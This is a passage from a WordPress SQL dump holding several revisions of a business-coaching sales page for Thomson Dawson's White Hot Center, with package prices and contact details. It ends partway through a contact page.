your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nThomson diverse experience and expertise helps forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what will happen:</h2>\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:08:02', '2011-07-03 23:08:02', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-143/', 0, 'revision', '', 0),
(1716, 2, '2011-07-03 16:37:34', '2011-07-03 23:37:34', '', 'thomson-pic', 0, '', 'inherit', 'open', 'open', '', 'thomson-pic-3', '', '', '2011-07-03 16:37:34', '2011-07-03 23:37:34', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomson-pic.jpg', 0, 'attachment', 'image/jpeg', 0),
(1717, 2, '2011-07-03 16:24:58', '2011-07-03 23:24:58', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nThomson''s diverse experience and expertise helps forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Here''s what will happen:\r\n\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:24:58', '2011-07-03 23:24:58', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-145/', 0, 'revision', '', 0),
(1719, 2, '2011-07-03 16:38:46', '2011-07-03 23:38:46', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nThomson''s diverse experience and expertise helps forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Here''s what will happen:\r\n\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>\r\nStart the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:38:46', '2011-07-03 23:38:46', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-147/', 0, 'revision', '', 0),
(1718, 2, '2011-07-03 16:37:46', '2011-07-03 23:37:46', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nThomson''s diverse experience and expertise helps forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Here''s what will happen:\r\n\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" />\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:37:46', '2011-07-03 23:37:46', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-146/', 0, 'revision', '', 0);
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(1720, 2, '2011-07-03 16:40:12', '2011-07-03 23:40:12', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nThomson''s diverse experience and expertise helps forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Here''s what will happen:\r\n\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:40:12', '2011-07-03 23:40:12', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-148/', 0, 'revision', '', 0),
(1722, 2, '2011-07-03 16:51:09', '2011-07-03 23:51:09', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3920 x2 office\r\n</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<h2><span style="color: #ff8c00;"><strong> Inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income. I do this in two ways:</strong></span></h2>\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation</a>, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and 